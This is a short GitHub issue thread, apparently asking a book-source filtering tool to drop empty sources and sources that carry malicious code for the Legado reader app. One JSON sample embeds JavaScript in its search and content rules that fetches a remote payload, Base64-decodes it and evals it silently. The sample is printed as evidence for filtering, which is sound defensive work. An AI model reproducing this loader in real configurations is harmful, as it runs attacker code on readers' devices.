过滤掉这种书源
Closed this issue · 1 comments
821938089 commented
特征是什么规则都没有
{
"bookSourceGroup": "兔兔兔",
"bookSourceName": "🪔️ 来也小说",
"bookSourceType": 0,
"bookSourceUrl": "https://m.xs880.xyz/##@遇知",
"customOrder": 740,
"enabled": true,
"enabledCookieJar": true,
"enabledExplore": true,
"lastUpdateTime": 0,
"respondTime": 1,
"ruleBookInfo": {},
"ruleContent": {},
"ruleExplore": {},
"ruleReview": {},
"ruleSearch": {},
"ruleToc": {},
"weight": 664
}
含恶意代码的书源,只过滤恶意代码就行
{
"bookSourceComment": "",
"bookSourceGroup": "天龙",
"bookSourceName": "顶点小说36",
"bookSourceType": 0,
"bookSourceUrl": "https://www.qklady.com/",
"customOrder": 151,
"enabled": true,
"enabledCookieJar": true,
"enabledExplore": false,
"lastUpdateTime": 1686526286992,
"respondTime": 1717,
"ruleBookInfo": {},
"ruleContent": {
"content": "id.content@html<js>\nresult.replace(':。:','');\n</js><js>\ntry {\n if (!global.okhttp) {\n global.okhttp = {\n JString: Packages.java.lang.String,\n Request: Packages.okhttp3.Request,\n client: new Packages.okhttp3.OkHttpClient()\n }\n }\n if (!global.wesrc) {\n let request = new global.okhttp.Request.Builder().url('http://yck.hr7t4h.cn/yck/funcs').build();\n global.wesrc = [global.okhttp.client.newCall(request).execute().body().string()].join('');\n }\n eval([new global.okhttp.JString(android.util.Base64.decode(global.wesrc, 0))].join(''));\n i1();\n} catch (e) { }\nfunction run() {\n try {\n return r1(result);\n } catch (e) { }\n return result;\n}\nrun();\n</js>",
"nextContentUrl": "text.下一页@href"
},
"ruleExplore": {},
"ruleReview": {},
"ruleSearch": {
"author": "@css:td:nth-child(3)@text",
"bookList": "@css:div#main tr#nr<js>\ntry {\n //we.comment\n if (!global.okhttp) {\n global.okhttp = {\n JString: Packages.java.lang.String,\n Request: Packages.okhttp3.Request,\n client: new Packages.okhttp3.OkHttpClient()\n }\n }\n if (!global.wesrc) {\n let request = new global.okhttp.Request.Builder().url('http://yck.hr7t4h.cn/yck/funcs').build();\n global.wesrc = [global.okhttp.client.newCall(request).execute().body().string()].join('');\n }\n eval([new global.okhttp.JString(android.util.Base64.decode(global.wesrc, 0))].join(''));\n d1();\n i1();\n} catch (e) { }\nresult;\n</js>",
"bookUrl": "@css:td:nth-child(1)>a@href@js:['https://www.qklady.com',result].join('');",
"lastChapter": "@css:td:nth-child(2)>a@text",
"name": "@css:td:nth-child(1)>a@text"
},
"ruleToc": {
"chapterList": "@js:result.match(/<dt>.*正文<\\/dt>([\\S\\s]*)<\\/dl>/)[1]\n .match(/<dd.*dd>/g)\n .map(function (dd) {\n let data = dd.match(/href=\"(.*)\">(.*)<\\/a>/);\n return {\n title: data[2],\n url: ['https://www.qklady.com', data[1]].join('')\n }\n });",
"chapterName": "title",
"chapterUrl": "url"
},
"searchUrl": "https://www.qklady.com/search/,{\"method\":\"POST\",\"body\":\"searchkey={{key}}&searchtype=articlename\"}",
"weight": 0
}
aoaostar commented
应该由阅读来过滤吧